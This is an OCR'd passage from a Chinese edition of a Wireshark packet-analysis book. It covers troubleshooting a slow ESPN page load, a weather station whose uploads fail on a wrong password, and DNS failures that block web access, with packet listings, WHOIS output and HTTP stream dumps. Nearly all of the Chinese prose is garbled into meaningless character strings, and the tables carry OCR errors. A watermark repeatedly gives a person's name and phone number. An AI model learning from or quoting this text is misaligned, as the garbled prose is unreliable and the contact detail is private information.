MR R —— NI T HTTP & 2 — B Bk T iZ=T )5, Bl
FUAB R EHE A TR, ARTT PSR BN A A NIRRT ) 2 i

9.5 gk

X =BG T IRIERE 2N JZ I B I 208 25 WL, 7R i — =,
BATVER BT R R KRS 5, RAA—Hm i, PLRERATX BTN
BB DI RE o

WA B ) 2 O T Hh s i, o] DAE S e AT TR DG ) REC SR, Bl
% —7% Charles Kozeriok ] The TCP/IP Guide(No Starch Press, 2005). [A]#: 7] BL
B AP HI H AT

F9E EISEMEHIL 199
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MAZIFIG, FATIRAZIEIE G N, 8
Wireshark 7347 B S e 5L AR ) X 286 1) @ . 7 A B 55 — R4S
BATRE M 28 TARIH . RS B HARN R R REALE
Hu TAER B2 15—k A T3S FFHA1R
PRetat . FATEE B Wireshark, £ 7 K E Twitter. Facebook
F1ESPN WL E, WEIXLLH B S52 aof] TAER.

AT A U — R IV EBR . B AN R
PRIANEL, TR T EAIREN, FHE SR TG BRSO . RN
fii b, BRI PTEER AR AR e SR E s, DU T R
AP, oes)E, BB —D e R B R %, BURIEH TR
T8, FEEE NP I 2RO

Hin &2, BAdENI2 N EFSSNERE, JFH, RAR A4
Yy 5T REBRR R IO —FE . B AT A AS R iRk e e (H B 2L

B4t X Kensuke(18319066421) B2 jEEELRIN



I, DHTIEA ARG R — DI, SERIRE I LK. Aok, AE
PRI 8, BIAEAS I HE iR ds, aT DU . 2 IRMIREE 2 by
Hn o, APURH M R B M BOARR B A A IR 2 44, X
WA IR X L3 S R A

10.1  ZEJYMsT %

i — AN Eeh, AT 2 Packet Pete, —r MAEERK, SHEHH
o PO R R R IEER K . R B, Pete FTIFIFSEALAIEE — 1AV
ESPN, #&ARI— KM LHHR&LL .

XA L4, 24 Pete W% ESPN B, At B INE M iTkES: TR KT8] hn#k

WA TSR, T ER T KB A AMNE OLE 10-1). iE3RATH B Pete
WX AN 7] 7,

B ESPN: The Worldwide Lea

€ - C A [} espn.gocom i

® | Search Sports, Teams or| Submit

[ 10-1 ESPN R @ An ik & K

10.1.1
AR AE Pete HITHEENL EAAS, JFBCA RIS, PILIRAT/E i

F£10E HupIscitRias 201
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BN AT TR ik, FRATK %3¢ Wireshark, $THUN Y ESPN /i
P . XEEE 5847 T http_espn_fail.pcapng CfFH .

10.1.2

BTAHIE, Pete WIREAET, MARENERE—AMEE, B AFRATE o1&
HTTP M WRARBITE | BRI, IR AVRant 2 P im MR 55 & 7] HTTP
TEA R B . JATEW, AE I A I A2 Ik 55 45 &% HTTP 5 K 1 77
TG 8T AR LA L 85 ik GET i5REP58 (A http.request.
method == "GET"), tHA] LAff A 3% Fi rp /1) Statics > HTTP > Requests ( I,
K 10-2) BEATIEE.

[ JON Wireshark - Requests - http_espn_fail

Topic / ltem
v HTTP Requests by HTTP Host
¥ www.espn.com
/
v espn.go.com
/
v cdn.optimizely.com
/is/310987714.js
v assets.espn.go.com
/i/columnists/kapadia_sheil_m.jpg
v ad.espncdn.com
/combiner/i?img=%2Fphoto%2F2014%2F0806 %2Fnfl_g_colts5_cr_1296x729.jpg&w=556¢&
v a2.espncdn.com
/combiner/i?img=%2Fmedia%2Fmotion%2F2016%2F0108%2Fdm_160108_Trainer_shoulc
v al.espncdn.com
/combiner/i?img=%2Fphoto%2F2016%2F0108 %2Fsubzero_5x2.png&w=1296&h=518&scz

Display filter: Enter a display filter ... Apply
Copy Save as... Close

10-2 2 A77 7)) ESPN W 3k4g HTTP #F K

MIXANESE A E R, PR EER 6 RS 7 KORE R HTTP 153K, XL
SRHAE ESPN Wshif7 5¢ . B 17— NN RKEMSER & NS KM 2% (CDND
M55, BANE REAEIL A B PR espne RSG5 BHADZMH A
AIIMELI, I8 22 BKEXT CDN RS G K.

ERA W H 2GS, F— M ERE, 1EHF Statistics > Protocol
Hierachy XA AT PN 3 2 Givt o 30K A BhERAT T e Az A E A 1 B RN 3

202 Wireshark ##EE 75 #rsLhk (58 3 hiR)
B4bitXKensuke(18319066421) = {SEELRIY



SR A AT SLR R UL 10-3). BEER, PRI R T T
Gk AT . T B IRSTAFIEAT A LA BRI 45 2R, 5ETE R
AT e s 5 E

[ ] ® Wireshark - Protocol Hierarchy Statistics - http_espn_fail
Protocol v Percent Packets Packets Percent Bytes Bytes Bits/s End Packets
v Frame 100.0 569 100.0 357205 30k 0
v Ethernet 100.0 569 100.0 357205 30k 0
v Internet Protocol Version 4 100.0 569 100.0 357205 30 k 0
v User Datagram Protocol 25 14 0.5 1627 136 0
Domain Name System 25 14 0.5 1627 136 14
v Transmission Control Protocol 97.5 555 99.5 355578 29k 541
v Hypertext Transfer Protocol 2.5 14 2.4 8460 712 7
Portable Network Graphics 0.2 1 0.1 487 41 1
Line-based text data 0.5 3 0.5 1632 137 3
JPEG File Interchange Format 0.5 3 0.8 2962 249 3
No display filter.
m Copy Close

10-3 &AW Rl A% g il Bt

W EUEIEAR S, AT R, 218 R LA 2
#p: HTTP 1 DNS. IEQIFELS 9 &% 2] 2y, DNS H TR 4 4 1P Hh
Hko BRI, 245 —ANPE, 40 ESPN B, SRR R G0 S AR X ANl S
DNS it3%, MRG0k ki%—1 DNS 1 Rk A i F2 Wi i &5 8 1) 1P Hihik. 4
DNS IR %R [l T —AN0] A 1P Huhik iy, 003844 AT 45 J20K ok 5 n 280 A h 92 A7
Ho ki, HTTP @S (fEEH TCP #h30O ATRAHEE T .

BRI RG AR BRI BCA AR, (B2 14 > DNS 2l 2 e
HEER . — DA RANEA ) DNS 1R H RS — M EE 6, 1R 8 A
N B B CBRARM BB AR, IXMELL T, DNS #dls s A TCP
&), 2T EE 14 /> DNS i te, XM AL T 21K 7 KA DNS i
K7 AMERBEEE + 7 DS =14 DEEE). WK 102 JioR, Pete
6] 7 AN AL A TR, (HR AR s T AR T —> URL. HAbiE
SR UAT 7 A2 (e 2

FEFRAEROL T, JSE R DA 7 ZE A B MR S5 stk SR)E4E—IX HTTP
BRI R AR . (BAESERRTEOLH, — MU RESR P2 A IR 55 4%
ERIAR . WTRERI R, ST CRMARAE 4, BHRNEES 4,
PR RSN 5 =M B OGRS, T B A TR 2O AR 5%
ar ERZ A SRR 2 HTTP 2 i@t HTML AU, B 75 AR Rk
Fran LBHIRIIGI . 9 7RIS I AR, 207 skt 2 A AR 5C 1 iR 5545 »

F10E HupmscittFigs 203
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XFE T #SMY DNS A # A HTTP 15K o X /2 7E Pete 1717 ESPN I A A2 () 55
1. EAMAAEEERE THRMNMERNER, HTML AR5 H T HARIRR A2,
ZJa, AREIN SRS B B AR Z AN AR N A

W XA E SRR R AR, BN OR, AT RN A S5 ANE
SRR 2% (Statistics > Conversations). 8 10-4 Fios &G & 1A FATHR
7 EELR.

(] @ Wireshark - Conversations - http_espn_fail
Ethernet - 1 UaZi:hy IPve TCP-16  UDP-7

Address A A Address B Packets  Bytes Packets A » B BytesA—+ B PacketsB—» A BytesB - A Rel Start Duration
4.2.2.1 172.16.16.154 14 1627 7 1106 7 521 0.000000000 0.663869
68.71.212.158 172.16.16.154 13 2032 6 1200 7 832 0.027167000 90.875181
69.31.75.194  172.16.16.154 19 9949 10 8942 9 1007 0.579477000 90.659273
72.21.91.8 172.16.16.154 92 70k 49 67 k 43 3170 0.526867000 60.553187
72.246.56.35 172.16.16.154 247 196 k 134 188 k 113 8315 0.527902000 90.806341
72.246.56.83  172.16.16.154 30 20k 15 19k 15 1518 0.659868000 45.344878
172.16.16.154 199.181.133.61 61 49k 24 1953 37 47 k  0.238547000 91.083551
172.16.16.154 203.0.113.94 93 6774 93 6774 0 0 0.430071000 94.593597

Name resolution Limit to display filter [ Conversation Types |
Help Copy Follow Stream... Graph... Close

10-4 &4 1P A4

BV A RPN 24T 7 7 R DNS 16K, DLRAHRA 7 I HTTP 3K
EIXRANETEE TS, FRATATCAHERT, 45 7 DX IP (A2 16, AR, SERRIEH AR
k. XEHMT 8 AN, NZufl B Ao ?

— PR R PR, A SO — AN S A il TE R 2l T 3. BRIR S
BT TAEA SR E PUEL R R B, (X AR I A 20 1 I ) )
SRR o a0 AT AAS B R — A HTTP 53K, JEREERM B 1P Hitk, R KIN
E—AN21l, WAXNPE HTTP W3R, XNSIERINTT N Pete 1THEL
(172.16.16.154) FULFE 1P 203.0.113.94, XN UEE R 10-4 ()G — 1T 15 H .
BATERSR], Pete MIHHHNIRIE T 6774 T E RIS (203.0.113.94), {H
AR T 07, REREMZERT.

WAE, TEIFERERXANSWE (ESWE AT, JFiES Apply As Filter >
Selected > A<->B), RJ5, B TCP AR KA E R AL E

TEIEH [ TCP @ fEH, TATHIEE B — MrdER SYNSYN/ACK-ACK ##
FFH). FEAFIH, Pete (FiHHEHLH 203.0.113.94 Ki% T —4 SYN HHE (I
Kl 10-5), (HREFRATRA B E SYN/ACK MR . AMLAntk, Pete HITHEHLIE HA
AT E MRS 2 KIE T 21~ SYN Biif, RASETPLes K% TCP &

204 Wireshark ##E8 5 #rsLhk (58 3 hiR)
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. WATHAESS 11 Srh B4R 18 TCP Hiff, BRALMIRHE, — AN
FOE T EARA, HRMRIENCEIE N AH R AR, WATAI, EERS T 95s,
I BB TR, AR5, IR

No.

Time
25 0.430071
26 0.430496
27 0.431050
39 0.500663
40 0.500873
70 0.553964
456 1.460006
457 1.460006
458 1.461238
459 1.530278
460 1.530278
461 1.580145
462 2.461157
463 2.461157

Source Destination Protocol  Length  Info

172.16.16.154 203.0.113.94 TCP 78 64862 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=1101093668 TSec..
172.16.16.154 203.0.113.94 TCP 78 64863 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=146@ WS=32 TSval=1101093668 TSec..
172.16.16.154 203.0.113.94 TCcP 78 64864 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=1101093669 TSec..
172.16.16.154 203.0.113.94 TCcP 78 64865 - 80 [SYN] Seq=0 Win=65535 Len=@ MSS=146@ WS=32 TSval=1101093737 TSec..
172.16.16.154 203.0.113.94 TCP 78 64866 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=1101093737 TSec..
172.16.16.154 203.0.113.94 TCP 78 64869 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 TSval=1101093787 TSec..

172.16.16.154 203.0.113.94 [TCP Retransmission] 64863 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..
172.16.16.154 203.0.113.94 [TCP Retransmission] 64862 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..
172.16.16.154 203.0.113.94 [TCP Retransmission
172.16.16.154 203.0.113.94 [TCP Retransmission

64864 - 80 [SYN
64866 - 80 [SYN

Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..
Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..

172.16.16.154 203.0.113.94 [TCP Retransmission
172.16.16.154 203.0.113.94 [TCP Retransmission
172.16.16.154 203.0.113.94 [TCP Retransmission

64869 ~ 80 [SYN
64863 - 80 [SYN
64862 + 80 [SYN

Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..
Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..
Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..

) 1
1 1
i ) 1
i 172.16.16.154 203.0.113.94 [TCP Retransmission] 64865 - 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=32 ..
) 1
) 1
) 1

10-5 ZHIEMMe) L4

TATHA T 7 ¥k DNS iR, 7 %K HTTP &R A 8 /> IP [8) <k, fEFAEIN
AL ST H B WA AN S G B DL R, BRATA L HARLE, MELAIEE 8 A IP
(M 21 A fE 2 Pete MMM TR M2 A R IR Kl . BT R RN, Pete 1)
THEHNE S — NI AR BRI B IR S R & TG . A T TN H
DR E, RAIASEFBIG SRR R, RATEH RS2 M
AE

) Pete W% ESPN W GRS, AR SE 28 R0 1 oAbtk E N . RT3k
BUix e oy 28080, Ml BN &S DNS ) SR IR X B3 44 1 1P Hbdik, 2 )5,
XL H AR IP RS TCP iEH:, MIMIAIE HTTP iERIFRN TN . X5
203.0.113.94 [F£xi%, FFEAX R DNS K. IA, Pete HIitHEHLZERESK
XA E 2

WRARICFIRATEESS 9 T 5T DNS Hitie, B2 #& DNS, 4K
MW HE, K0 KRG — M DNS 270l o X —HLHIFE RGN LA
K13k 5 TP Mk ] MRS 2247, 215 i) L2247 DNS Gd3k. 28 U Al (135
A, RGURAE A G 2247, AR DNS K. HEERXEHY 5
IP M1k (] (e S i 199, 4 R 478 10 DNS 5 3k AR 13444 1 1P bk, R0,
RN A 5 TP WG % RACEE 1, (H R FEAN W4 IR 1A &GRS BT B DNS 1 5K
PAIRASBT sk, A4, £ N IRVG I — 3k A0, iz ok 2 uliE %4
TR ik

£ Pete H7-rb, BRI T XAMEDL. Pete HITHERENIZEAE T H—A N ESPN

£10E HuipwiiscttFinsE 205
Bt XKensuke(18319066421) = jEEEEARIN



RIS SE AL N BRI G TS B T AE BAAE, RIS
WA %A 31T DNS 15K, X B R R G B 46 80 IH k. R0,
XA I O AR NIRME HTTP R4 1E NS R, &SRB, IFH AN BEINE
K

XIF Pete 15, [ERIKENZ, F3hiEkk DNS 2247, R fEE 217 i
HARF AR A B, Ahn DLSEREJLAr8h, 7£ DNS ZfFidsead . B
DNS &K e G, Feikii i ESPN Mk,

10.1.3

YA CHBEEERE L 90 7l AL TR MR, BAIM TR S
TAE, (H2X — i R AT W2 BN KRR T ERZ R . 723X
Npsh, BATE EF 5 R 2 A 8 12 0 DL B IR SO
R, LT IRR TR R BATHE fL B8 A AR A
—HEENTF, RILT &/ 5 ESPN 1 —A CDN R % 4% 2 [F] i # 4 7] H
Fy i e

W — R DU B — S R T S A, IR BT 0 SR RS
P S B 0 1) 02 Wiy A o RIS R A 2 ] R 1 [, B 75 2244 ) Wireshark (1)
ST AGETH R PERT KB AN SR REAT AL B, DUE AL F . AR R XA
(1o M5 2, O A e B = TR 56 Al e s Ak BEAR A 22

WARAR TR, BRSO R EA R ESPN IR (S R ERE, RTT
DA P 0 S D7 T3 AN Wy, RIS HEAT AL, I il By S 5t AR 0 K
IR 55 25 o

10.2  JCM RSB IRSS

B AR R RIRATHI K Packet Pete 5%, G ARZEI, BIES%R
F—AEHINARIWAR TR R, HEIVN S ES RIR R AR .
Aty AN R AR T AN b R AR AR AE B R SIS E T — AN
RGEuh, B EdE &% WunderGround, HFHERIC B AIE [ . 45K, Pete
ARG, UAEEMRPEESEN, SRR, BT, [KZuhdd 9
/B K 7] WunderGround A&t (LI 10-6).
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iPad = T % 41% W
0 Oakwood, GA
X
wu - © g & M
TEMPERATURE PRESSURE
DEWPOINT
4° N 29.5 o7 2940
P o\ 10,% INHG
HUMIDITY o 5 3
« 5 § TENDENCY
33% ~ S
3 W
WIND CHILL 3 A
30° 0.01INHG/HR
RAINFALL WIND | GUSTS
FROM
TODAY'S ACCUM TWO-DAY TOTAL O ‘ East-Southeast
0.00IN 0.00\N. o ~
RATE 0.00 INHR T JJ

10-6 A LsbAE 9 NBH A K EIRE

10.2.1
1E Pete 28R, SRuEHEA T L, 52 NI 5 EE: .
B ER I B 2 e NN 2%, SR e B Gi T a2k 2 BB 1Y) WunderGround
k55 EAGEE 10-7 P,
SR

()

ST

[e]

SRBURIRNE ==t Internet
172.16.16.154 172.16.16.1 WounderGround R 55 2%

B 10-7 A %sbM kLAl
WA — R S ) Web B ELFUI, 24 Pete BN, AR T —
F 5 EREAEFRID I A RRINE N R, BRI Ah, B Hoth nr A T b 22

E£10E HupmstttRins 207
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5 B—— XA P AR LA R H & BT B 2 R & 1)
AL, P IBCR AT 5ok B TR BB G 712 W e 2 A7 5 S
BT 3% — N K BEMI 2%, [R1E 5K F % bR 28 0] REAS SCRRom D B8 D . ATt
3 F R BT S A ARP SR AF R B R BB B, . BTV AR s 0. £ ST A
weather broken.pcapng H' .

10.2.2
HME G, REER], X XE—A HTTP 8150 A . JREREdE
AR E T Pete A S S AR B AL 172.16.16.154 5 H L | —AN R 21 F2
BEA% 38.102.136.125 Z [ #2169 (LK 10-8).
- 1 EW;WOM i;“;is-ls-““ 2:??:;?136.125 'PFr(u:,w‘ LEHD:'S ]5”3&;64 - 80 [SY'M] Seq=0 i Len=0 WS=32 Tsva TSecr=8 SACK_PERM=1

2 0.987018
3 0.087108
4 0.087178
5 8.176462
6 ©.176567
7 ©.176714
8 8.262587
9 8.262656

38.102.136.125 172.16.16.154 Tcp 60 80 + 53984 [SYN, ACK] Seq=0 Ack=1 Win=8190 Len=@ M55=135@

172.16.16.154 38.102.136.125 Tep 54 53984 > 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0

172.16.16.154 38.192.136.125 HTTP 571 GET /weatherstation/updateweatherstation.php?T empf=43.8&humidity=36..
38.102.136.125 172.16.16.154 HTTP 237 HTTP/1.9 208 OK (text/html)

172.16.16.154 38.102.136.125 TCP 54 53904 - 80 [ACK] Seq=518 Ack=184 Win=65535 Len=@

172.16.16.154 38.102.136.125 TCP 54 53984 > 80 [FIN, ACK] Seq=518 Ack=184 Win=65535 Len=@
38.102.136.125 172.16.16.154 TCP 6@ 36 » 53984 [FIN, ACK] Seq=184 Ack=519 Win=7673 Len=9
172.16.16.154 38.102.136.125 TCP 54 53904 > 8@ [ACK] Seq=519 Ack=185 Win=65535 Len=0

10-8 o & B e AR bR B

FERS B XA 21 B EAR 2 A, A EFRATAE R AIX AN R A 1P, an SR A AT 1
— BT, AT TCIE WA 1P 2572 Pete UGG N UG 7] Mk, {H 2
FATE /D EERE @ T WHOIS £ 1 KA 2 It 1P /2 75 /2 Wunderground R 45 %5 1 — 6
93 o VRAT LAAE K 22 50888 44 1 M DX s 55 X 3 B PR A A 5 B P ks 52 i WHOIS 2
W WEAEMAR, AP HlKET KN Cogent KM R 55 5 7
(ISP) (LK 10-9), 5 bE%] T PSINet Ad], (HEMERER, 21 HLY]
Cogent 318 T PSINet [ 70 845 o

FERERE LT, R 1P ikt — N B EEEM, R4 WHOIS #&
WIREIHLALIR. R, ZHAELT, ARASHCEEESE 1P, Ml
R I R 25 $R AL (ISPY | TP bR Bk o EXFRB AL R, 53— 2
A2 AR5 TP HbEAHSCER H = RG4S (ASN). HAFEHE— ASN
FTAEAM A SRR LR th 77 20 HIR 2 J7860 T A 4K IP-ASN REOCR (—
46 WHOIS #rif) T 22 F 3h & 48 IP-ASN B, FAEFEEFH Cymru BB\ H 3h &
WTTH, XA T EAH 38.102.136.125, RATEFI'E S AS 36347 AH<EL,
It ASN J& T “WUNDERGROUND — THE WEATHER CHANNEL, LLC, US” (i,
Kl 10-10). XKW, &, 5L TAGEMRERETIEA AN ni
AL Rk B HLUE B SIHEEART, WIULE] Pete B4R IEAE X R T]

208 Wireshark HIEE 2 H7sE8k (88 3 AR)

B4bitXKensuke(18319066421) = {SEELRIY



REATIR, EJRTEAMBIT A UKL
S ——

Net Range 38.0.0.0 - 38.255.255.255
CIDR 38.0.0.008

MName COGENT-A

Handle NET-38-0-0-0-1

Parent

Met Type Direct Allocation

Origin AS AS1T4

Organization PSINet, Inc. (PS1)
Registration Date 1991-04-16

Last Updated 2011-05-20

Comments Reassignment information for this block can be found at

rwhois.cogentco.com 4321

RESTiul Link

Point of Contact
Tech PSI-NISC-ARIN (PSINISC-ARIN)
See Also Related organization's POC records.
See Also Related delegations.

& 10-9 WHOIS #4877 4 ok 1P e940A &

Executing commands. Please be patient!

v4.whois.cymru.com

The server returned 4 line(s).

[Querying v4.wheis.cymru.com]

[v4.whois.cymru.com]

AS | r | as name

36347 | 38.182.136.125 | WUNDERGROUND - THE WEATHER CHAMMEL, LLC,US

10-10  AFiXANSRH P Hubk 34T IP-ASN % B2 5 14)

BN T XA R ENIFTEHLYE B, HATBRAR @GR . X
AN TEAXT R H—A TCP EFILFE. —IK HTTP GET & 3R K i v Al — A
TCP WiHtid #2208, TCP #EF BT LFRD) 17, it BAin @ n] G2 HILE HTTP
iERrh. BATREE HTTP 53R 1 TCP Mk THESEE (WA 10-11).

7 HTTP @5 FEH, B 55 B Pete LU AR 7] WunderGround & 1% —™ GET
WhKe HTTP WA MEAHEE, KERHPEET URL #HTHEHO. XFT Web ¥
H, @it URL B TR R AR R W, Bk, Bl Il s
KEER. Btn, RKA[LLES] tempf=43.0. dewptf=13.6 flwindchl1f=43.0
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P B . WunderGround 15 BN ARG 2T URL A ) — 2B A4,
FER EAAF i

‘ Wireshark - Follow TCP Stream (tcp.stream eq 0) - weather_broken — [m] X

GET /weatherstation/updateweatherstation.php? D

ID=KGAOAKWO2&PASSWORD=20000000& tempT=43.08&humidity=30&dewptf=13.68windchil1f=43.088&winddir=194&windspeedmph
=0.22&windgustmph=2.46&rainin=0.00&dailyrainin=0.00&eeklyrainin=0.88&monthlyrainin=0.00&yearlyrainin=0.00
&solarradiation=54.14&UV=08&indoortempf=67.1&indoorhumidity=26&baromin=29.3281lowbatt=0&dateutc=2016-1-6%202
1:58:34&softwaretype=Weather¥20logger¥20Vl . 8&action=updaterawirealtime=1&rtfreq=5 HTTP/1.1@

Host: 38.102.136.125

User-Agent: curl/7.43.0

Accept: */*

HTTP/1.0 200 K@

Content-type: text/html

Date: Thu, @7 Jan 2816 98:28:39 GMT
Content-Length: 58

Connection: keep-alive

INVALIDPASSWORDID|Password or key and/or id are incorrect @ -

1 client phef), 1 server phefs), 1 turn.

‘Enhre conversation (700 bytes) g Show data as |ASCII 7 Stream

Find: | | [ Findnext |
Hide this sheam‘ ‘ Print ‘ ‘ Save as... ‘ ‘ Close ‘ ‘ Help ‘

B 10-11  SRIZIAE A4 TCP A

RIEE—EI%, XA &1F WunderGround k5525 8 GET 1 RALTFE V& A AEA 11)
B, AER G R N R R — AN R . IRSS AR M NORAS TS HTTP/1.0 200
OK®, K] GET &R RIhEC, (H2MNHEEAREE T 4% AHNER,
INVALIDPASSWORD | Password or key add/or id are incorrect®.

275K URL #4), TR KB WFAF R TP ANZS308 1D 1 PASSWORD.
S Gkl F X R 7 2058 B AE WunderGround R 55 28 b & S AN EGIE .

A, Pete B Gl ID IERf, (HRAZMHE R, BT REERMER, il
BB 0. T CRIBSRE — RGN K AR, R AT R — IR R Bl
WaREE, SEENREER.

] TR % & A #1528 URL A5 A4k, FSbRAMNEX—RF LT R &
ABFFT, HFEAEE URL 2807, BAETMER mEHZH, 4= HTTPS,
LT, HTTP @843 44% 8 BA SAE$id R 69 URL. vk, 242 URL Aditbid
LAY, BRI EE B OUTIBAZ A B E R P AR BIRIR 0 R AD,

HZ, Pete FEAAMMIFRILAS, HINHEML, G, MR E BTG
FIDHE . — AN RIS Rk i85 2R 7E weather working.pcapng . I {5 U
K 10-12 A
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M Wireshark - Follow TCP Stream (tcp.stream eq 0) - weather_working - a X

GET /weatherstation/updateweatherstation.php? @

ID=KGAOAKWO2&PASSWORD=12345678&tempf=43.08&humidity=30&dewptf=13.6&windchillf=43.88winddir=194&windspeedmph
=8.22&windgustmph=2.46&ra@)in=0.00&dailyrainin=0.08&eeklyrainin=0.80&monthlyrainin=0.00&yearlyrainin=0.00
&solarradiation=54.14&8UV=8&indoortempf=67.1&indoorhumidity=26&baromin=29.32&lowbatt=0&dateutc=2016-1-6%202
1:58:348&softwaretype=Weather%2@logger¥20V1.0&action=updaterawirealtime=1&rtfreq=5 HTTP/1.0.8

Accept: */*

Host: 38.102.136.125

Connection: Close

HTTP/1.8 208 OK

Content-type: text/html

Date: Wed, @6 Jan 2016 21:58:35 GMT
Content-Length: 8

success @ v

1 chiene phefs), 1 server plefs). 1 turm.
‘Enh’re conversation (621 bytes) v Show data as |ASCII = Stream E

Find: ‘ ‘ | Find Next |

Hide this stream Print Save as... Close ‘ ‘ Help ‘

& 10-12 mA A K368 1E

PAE, S IEHO, WunderGround Al 55 #8 7E N 2] HTTP M B A4 AR [|] 7
—% success HEO,

10.2.3

FERXANFA, — AR =TT RS 5 — M (HTTP) B 5 Bk 45
Vilalo VRS2 5 EAE R =5 55 B 2% R, 4350 AH L FR SO st i H
ERS, BRI HARIEE &S T 0 X L R 55 #E 47w ab B . BLAE K Y
(10T) BL#, WIRATRE, FEAE IR BRI, AT 115 DU R
TR 3

DR R, R AT RE IR B R R B 51, S A IR T g
MLAET R FLERH, Al T HTTP RS R AR5, MAfp. —
SEHAR RN AR 2%, B2 AR BdE i, S22 Wireshark JZE
LLAF IOV AR AT (0 E AL B o

Wt T 2 (K5 = IR ST I TE, AR BT T AT A T S 4 15
R AR o SRR R TR 2 3 e VRN 3 8 IR 55 1 AT WA Ak 35 P ) 2850

10.3 Joikijilv] Internet
EUZIENT, R REF B2 WA Internet FERE A, R HTHRATEA

E£10E HupmstitFias 211
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10.3.1

2 LR RT B IE B A H L ) L

AN S A e e P RBEVS A Internete AT AAHINIZH
FTEATG R T B IE, BAE Al AR 3L N R BRI AT AE A R 55 4 -
IR A Y o

XA LR AEH T 5, O E % P WL IR 55 w8 B0 2 31— R 51 1 1) 5
WML Lo Internet FEAZEH— DN HEZE (TENERAMIR) AbEE, TP HuhE{E B H
DHCP g% #efit. XFhf s NN E P AER & 0o

1. Tk

TR R R R, FRATTRT DA — 4 P RRARAS MR T R, — ik A P sk
Y Internete FRATEA 2.5 W EE L 2-15), Rkg BCE RARA
7%

W28 E IR S BBLAS SRR U Bi R . A T e AR, AT T4 AN 1) ik Ao kb 4y
G 7P, BT AIRAMER G AT DSl B R 2 G, 58 FH I 28 43I 2 2 M
LRI ML) . B 515 B IRIE R U nowebaccess1.peap.

2. mbr

WK 10-13 frox, WEFAPOCFSCHELA—A ARP iR AR 46 1
HALE MAC Hb3iEJ2 00:05:b3:bf:91:ee, IP Hidiki& 172.16.0.8. fEXHEAL 1 F, H
PR IE—AS ARP | #5504 W2 BRI THEAL, KIS 2ERA
X 172.16.0.10 [t MAC itk

No.

1
2

Time

04:32:21.445645 00:25:b3:bf:91:ee ff:ff:ff:ff:ff:ff ARP 42Who has 172.16.0.10? Tell 172.16.0.8
04:32:21.445735 00:24:81:21:f6:79 00:25:b3:bf:91:ee ARP 60172.16.0.10 is at 00:24:81:al1:f6:79

Source Destination Protocol  Length Info

B 10-13  AFstit EAUBKIA R £ 49 ARP 5 K Faviy i

MRPEE AL 2 TS B Fma B, P TR EAL TR 172.16.0.10 ) MAC Hh
HESZ 00:24:81:a1:06:79. WEIIX AR5, THENLECE T REM SR M H,
FeMZ A LA E RN Internet.

ARP WiN 2 J5, HHENL e R AL 3 ohifs SR sl (4 42 fd i i 1P ik o

ik 10-14 Fios, THEHLUR%E—A DNS 2 i 500 605 ¢ (1) 1% DNS IR %5 4%
42220.
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M Wireshark - Packet 3 - nowebaccess1 - m] X

> Frame 3: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
> Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: HewlettP_al:f6:79 (@@:24:81:al:f6:79)
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 4.2.2_20
> User Datagram Protocol, Src Port: 55878 (5587@), Dst Port: 53 (53)
v Domain Name System (query)
Transaction ID: @xsedl
Flags: @x@lee Standard query
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
Vv Queries
> www.google.com: type A, class IN

No.: 3 » Time: 0.000105 - Source: 172.16.0.8 - Destination: 4.2.2.2 - Protocol: DNS - Length: 74 - Info: Standard query Ox80d1 A www.google.com

10-14 K i%£3%]4.2.2.2 # DNS &)

IEHAEHLN, DNS 55 ds2x s i 52 DNS &), (HERXAMI 7 IFdEant.
PATEAFE BUEFIWNL, EZBLFEFERT DNS 2 i) OIS BIANF K H f bt
i 10-15 fios, EHEEEL 4, 254> DNS 2 ifi i ik 2 TS i & 4 10 %% F

DNS R%5%% 42.2.10.

M Wireshark - Packet 4 - nowebaccess1 - O X

> Frame 4: 74 bytes on wire (592 bits), 74 bytes captured (592 bits)
» Ethernet II, Src: HewlettP_bf:91:ee (@@:25:b3:bf:91:ee), Dst: HewlettP_al:f6:79 (8@:24:81:al1:16:79)
» Internet Protocol Version 4, Src: 172.16.8.8, Dst: 4.2.2.10
> User Datagram Protocol, Src Port: 55878 (55878), Dst Port: 53 (53)
v Domain Name System (query)
Transaction ID: @x3@dl
» Flags: @x@18@ Standard query

Questions: 1

Answer RRs: @

Authority RRs: @

Additional RRs: @

V¥ Queries
> www.google.com: type A, class IN

No.; 4 - Time: 0.999280 - Source: 172.16.0.8 - Destination: 4.2.2.1 - Protocol: DNS * Length: 74 - Info: Standard query x80c1 A www.google.com

& 10-15 X i%£%]4.2.2.1 #9% =/ DNS &4

BT EHLIIR %A A DNS kS5 2 2ma 82, Bk 1s f5, B HRK
EF] 4222, WE10-16 Frs, ZANEBEAMES, EE T RO, 115
WLAZ B 171 i B 4T 1 85 38 DNS AR 45 23 @ Fl1 % F DNS R %5 2 @ R ILTE R . A
FE KM T 8s ©, IXIESEH F' Y Internet 3 56 284K 25 1% LTG5 4] 2 A BT AE

AT 8] o

F10F EHHSEFRAR
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No. Time Source Destination Protocol  Length Info

1 2.000000 HewlettP_bf:91:ee Broadcast ARP 42 who has 172.16.0.102 Tell 172.16.8.8

2 0.000090 HewlettP_al:f6:79 HewlettP_bf:91:ee ARP 60 172.16.9.10@ is at 00:24:81:a1:16:79
r 3 9.000105 172.16.0.8 4.2.2.20 DNS 74 Standard query @x8@dl A www.google.com
! 4 ©.999230 172.16.9.8 4.2.2.1 DNS 74 Standard query @x8@dl A www.google.com
| 5 1.999279 172.16.9.8 4.2.2.2 DNS 74 Standard query @x8@dl A www.google.com
! 6 3.999372 172.16.0.8 4.2.2.10 DNS 74 Standard query @x8@d1l A www.google.com
